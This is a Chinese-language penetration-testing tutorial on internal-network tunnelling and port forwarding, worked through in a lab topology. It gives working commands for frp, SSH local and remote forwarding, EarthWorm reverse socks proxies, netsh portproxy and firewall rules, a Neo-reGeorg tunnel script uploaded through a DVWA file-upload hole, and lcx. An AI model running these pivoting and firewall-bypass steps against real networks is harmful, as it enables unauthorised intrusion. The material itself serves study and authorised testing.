一、简介
在学习内网安全的时候,总会见到一些隧道的概念。搭建隧道对于内网渗透来说是一个必不可少的环节。简单理解,隧道的概念即是做端口转发,将流量通过某种方式,转发到内部机器。
二、搭建隧道的场景分析
在内网渗透的过程中,当获取到边界主机之后,需要继续深入渗透,这时就需要搭建代理或者建立隧道,去探测访问处于内网中的机器。
常见的方法有:搭建socks5代理、端口转发、建立隧道等
三、常见隧道工具及其使用方法
1、frp内网穿透工具
frp即高性能反向代理应用,其主要用于将部分内网服务”暴露”到公网上供用户使用(例如http等)。官方给出的功能列表如下:
利用处于防火墙后的机器,对外网环境提供 http 或 https 服务。
对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
利用处于防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司局部环境的主机。
这里稍微谈论一下反向代理和正向代理:
(1)正向代理
即当客户端由于某种原因,不能访问外部服务的时候(例如防火墙的限制),就需要一台代理服务器来中转一下(例如使用socks5代理服务器)。比较常见的方式就是使用VPN(俗称翻墙)。
在内网渗透的过程中,当我们获取到一台边界服务器之后,需要继续向内进行渗透时,可以将该边界服务器作为代理服务器,通过该服务器去访问内网服务。(即正向代理)
(2)反向代理
反向代理一般用于负载均衡。即当我们想要访问Web服务时,会发送一条请求给反向代理服务器,该代理服务器会将请求转发给处于内网的Web服务器(根据负载程度,转发到不同服务器),从而实现负载均衡。
反向代理对于客户端来说(即发送请求的一端)是透明,我们不知道代理服务器将请求发送给哪台主机。
(3)正向代理与反向代理的区别
正向代理对于服务器来说是透明的,因为它不知道访问它的客户是谁,所有的请求都是通过正向代理服务器转发过去的。
而反向代理对于客户端来说是透明的,即它不知道请求的目标主机的真正IP,因为它将所有的请求都只是发送到反向代理服务器上面。
适用场景:
(1)由于防火墙的限制,部分端口不能直接访问,可以将端口转发出去从而绕过防火墙(前提是获取了该目标主机的shell)
(2)利用frp可以搭建socks5服务
采用实验的方式进行理解:
实验拓扑结构:
V-PS:
192.168.226.130
OWASP WEB:
外:192.168.226.133
内:192.168.100.100
Ubuntu Server:
192.168.100.101
目的:将内网机器Ubuntu Server流量通过OWASP Web服务器转发出来
实验一:将内网机器的22号端口映射到边界服务器的6000端口
# frp相关配置如下
# frp服务端(边界服务器) frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
# frp客户端(内网机器) frpc.ini
[common]
server_addr = 192.168.100.100
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
# 启动服务
# 服务端 ./frps -c frps.ini
# 客户端 ./frpc -c frpc.ini
接下来在V-PS直接连接边界主机的6000端口即可连接到内网的22端口
实验二:使用frp实现socks5代理
# frp相关配置如下
# frp服务端(边界服务器) frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
# frp客户端(内网机器) frpc.ini
[common]
server_addr = 192.168.100.100
server_port = 7000
[socks5]
type = tcp
remote_port = 6001
plugin = socks5
# 启动完成以后,在V-P-S配置一下/etc/proxychains.conf
[ProxyList]
socks5 192.168.226.133 6001
接下来通过socks5代理的方式去访问内网机器的22号端口:
2、SSH
SSH即Secure Shell,它对传输的数据进行了加密处理。利用SSH,也可以实现端口转发
SSH一般用于本地端口转发和远程端口转发
(1)本地端口转发
顾名思义,就是将本机的某个端口转发出去。
考虑以下这种情况:
V-P-S要连接内网机器,就必须得通过中间那台服务器。如果我们知道中间那台服务器的账号和密码,就可将中间服务器当作跳板,去访问内网机器,具体做法如下:
# 在V-P-S上执行如下命令:
ssh -g -L 9999:192.168.100.101:22 -fN [email protected]
# 参数介绍:
-L 表示做本地端口映射,9999表示本地端口,192.168.100.101:22表示目标映射的地址与端口
-f 表示SSH客户端在后台运行
-N 参数表示该连接不做任何操作,仅用于端口转发
-g 表示允许外来主机连接该V-P-S的9999端口(例如用netstat查看时监听的是0.0.0.0:9999)
# 上述命令理解为通过192.168.100.100,将本地9999端口映射到内网主机192.168.100.101的22端口
# 验证映射成功
ssh [email protected] -p 9999
(2)远程端口转发
远程端口转发即将一台远程主机的端口转发到另外一台主机的某个端口
与本地端口转发不同,它需要在中间服务器上执行(也就是上面的跳板),一般用于内网流量可以出去,但是外网流量由于防火墙限制不能进的情况。
考虑以下这种情况:
在中间服务器执行ssh的远程端口转发,打开V-P-S的某个端口,与内网机器(中间服务器能访问的机器)的某个端口做一个映射。(与本地端口转发类似,这里只不过是打开远程主机的某个端口)
常规操作:
# 将远程主机的9999端口映射到内网机器的80端口
# -R参数表示进行远程端口转发
ssh -R 9999:192.168.100.101:80 -fN [email protected]
做个实验:模拟中间服务器不允许V-P-S访问其80端口,通过在中间服务器做一个远程端口转发,绕过防火墙
# iptables模拟防火墙,不允许V-P-S访问中间服务器的80端口(设置INPUT链规则)
iptables -A INPUT -p tcp -s 192.168.226.130 --dport 80 -j DROP
# 在V-P-S访问192.168.226.133的80端口发现访问不了
curl 192.168.226.113
# 在中间服务器上做一个远程端口转发(注意:这里的映射主机就是中间服务器)
ssh -R 9999:192.168.226.133:80 -fN [email protected]
# 在V-P-S访问本机的9999端口,发现可以访问
curl 127.0.0.1:9999
3、EarthWorm
EarthWorm也是一个内网穿透的神器,可以利用端口转发做socks5代理实现内网的穿透
主要有三个参数:
# rcsocks客户端,监听端口以及转发端口
# rsscoks服务端,指定连接的主机以及端口
# ssocksd,做正向代理
以上述实验拓扑为例,EarthWorm可以做正向代理和反向代理
(1)正向代理示例
# 在中间服务器做一个正向代理,V-P-S通过该代理去访问内网机器
# 利用EarthWorm在中间服务器上做一个代理服务
./ew_for_Linux32 -s ssocksd -l 8888
# 此时该主机会监听8888端口,相当于一台socks5代理服务器
# V-P-S配置一下socks5代理即可访问内网机器
# 修改/etc/proxychains.conf
socks5 192.168.226.133 8888
# 访问内网机器的80端口
proxychains curl 192.168.100.101
(这里正向代理的含义是中间服务主动打开了一个端口等待我们的V-P-S连接,也就是主动去连接)
(2)反向代理示例
# 让中间服务器主动与我们的V-P-S建立一个连接,以便传输数据(用于外部流量不能进,而内部流量可以出的情况)
# 在V-P-S上配置监听端口(8888端口用于连接传输数据,10002端口表示将本机的10002端口转发到8888端口)
./ew_for_Linux64 -s rcsocks -l 10002 -e 8888
# 配置一下V-P-S上的socks5代理
socks5 127.0.0.1 10002
# 在中间服务器配置主动连接
./ew_for_Linux32 -s rssocks -d 192.168.226.130 -e 8888
# 接下来尝试访问内网机器
proxychains curl 192.168.100.101
4、netsh
netsh即network shell,是windows系统提供的一款强大的网络配置命令行工具。它拥有比较强大的端口转发功能,能够进行本地端口转发和远程端口转发。netsh也可以用于配置防火墙
(1)netsh实现端口转发
# 使用方式介绍
netsh interface portproxy add v4tov4 listenaddress=监听主机 listenport=本机需要映射(转发)的端口 connectaddress=远程主机(也可以是本机) connectport=远程(本地)映射端口
由于是做端口转发,因此考虑的场景是从外(边界)向里(内网),利用此工具进行端口转发,从而访问内网。
例如:假设边界主机是一台windows,并且我们已经获取了相应的权限。接下来要做的事情是向内网继续进行渗透。
实验拓扑:
# V-PS主机:192.168.226.113
# 边界windows主机:192.168.226.133/192.168.100.100(双网卡)
# 内网服务器:192.168.100.101
由于V-PS无法直接访问内网的服务,因此在边界windows主机上做一个端口转发,将流量转发到内网主机的某个端口上。(以访问内网80端口为例)
# 以下操作实在windows边界主机上进行的
# 监听所有主机访问本机8080端口,将流量转发到内网的80端口
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.100.101 connectport=80
# 接下来,当我们访问该主机的8080端口时,相当于访问了内网的Web服务器
# 查看我们建立的转发规则
netsh interface portproxy show v4tov4
# 删除我们建立转发规则
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8080
考虑到另外一种场景:由于防火墙的限制,该windows主机只开放了几个端口,而你又想访问其他端口(例如3389)
此时可以做一个本地端口转发,将3389端口的流量映射到其他开放的端口上
# 实现命令(假设12345端口对外开放)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=12345 connectaddress=127.0.0.1 connectport=3389
# 当外部主机访问该主机的12345时,相当于访问本机的3389端口
(2)netsh配置防火墙
netsh配置防火墙有两个参数firewall和advfirewall(firewall是简单模式、advfirewall是高级模式)
例如:
# 开放3389端口
netsh advfirewall firewall add rule name="openRDP" dir=in protocol=tcp localport=3389 action=allow
(name表示给该规则命名,dir表示流量方向)
去查看防火墙规则,也可以看见此规则添加成功。
# 删除上述规则
netsh advfirewall firewall delete rule name="openRDP" protocol=tcp localport=3389
5、Neo-reGeorg
Neo-reGeory是一款建立HTTP隧道的工具,适用于目标服务器只开放了80端口,通过80端口去探测内网服务器。(利用文件上传漏洞即可)
最常见的使用应该还是搭建一个socks代理
(尝试了一下reGeory,搭代理后去访问内网的80端口,结果是408。但是使用Neo-reGeorg可以直接访问,也许是环境的问题)
# 简单搭建socks代理实现
# 创建隧道文件
python neoreg.py generate -k password
# 通过一定的方式将相应脚本文件传到目标服务器
# 本次实验采用的是dvwa,上传php脚本文件tunnel.php
执行:
python neoreg.py -k password -u http://192.168.226.133/dvwa/hackable/uploads/tunnel.php -p 1080
(将本地1080端口的流量转发到目标服务器)
# 配置socks5代理/etc/proxychains.conf或者浏览器配置socks5
socks5 127.0.0.1 1080
# 访问内网的80服务
proxychains curl 192.168.100.101
6、Lcx
lcx也是一款强大的内网端口转发工具,现已经有了跨平台的工具,在Linux和Windows下都可以使用
由于是做端口转发,因此考虑一下几种场景:
实现一:22端口不出网做本地端口转发连接ssh
# 由于防火墙限制,现在中间服务器的22号端口禁止对外开放
# 配置iptables(由于环境原因,将V-PS作为靶机,中间主机作为攻击机),在V-PS上配置防火墙
iptables -A OUTPUT -p tcp -d 192.168.226.133 --sport 22 -j DROP
# 将从22号端口出去的流向192.168.226.133主机的流量丢弃掉
# 直接去访问V-PS的22号端口连接不了
ssh [email protected]
# 利用lcx实现本地端口转发,将22号流量转发到其他允许出网的端口上面(V-PS上执行)
# 表示将10003端口的流量都转发给22号端口
./portmap -m 1 -p1 10003 -h2 127.0.0.1 -p2 22
# 再次连接即可成功
ssh [email protected] -p 10003
实验二:一层主机做端口转发访问二层内网主机
# 场景分析:需要使用V-PS去访问内网的80端口
# 在中间服务器(一层主机)上做端口转发
./a.out -m 1 -p1 10004 -h2 192.168.100.101 -p2 80
# 表示将本机的10004端口的流量转发给内网主机80端口
# V-PS访问一层主机的10004端口即可实现访问内网主机的80端口
curl 192.168.226.133:10004
四、总结
本地端口转发用于某个端口由于防火墙的限制,不能出网,例如常见的22,3389端口。如果此时,我们通过一些手段拿到了目标服务器的shell(例如通过Web服务上传了一个Webshell),我们可以利用本地端口转发的技术,将某个对外开放的端口(例如10000)将其流量转发给22号端口。这样,通过访问目标主机的10000端口,即可实现连接22号端口进行远程访问。
远程端口转发感觉多用于通过某个跳板去访问内部主机。例如如下拓扑结构:
在SSH服务器上做一个远程端口转发,将A的某个端口映射到B的某个端口上,这样V-PS可以直接访问A的某个端口实现对B的访问。
来源:freebuf.com 2021-04-13 23:00:49 by: cowhite
请登录后发表评论
注册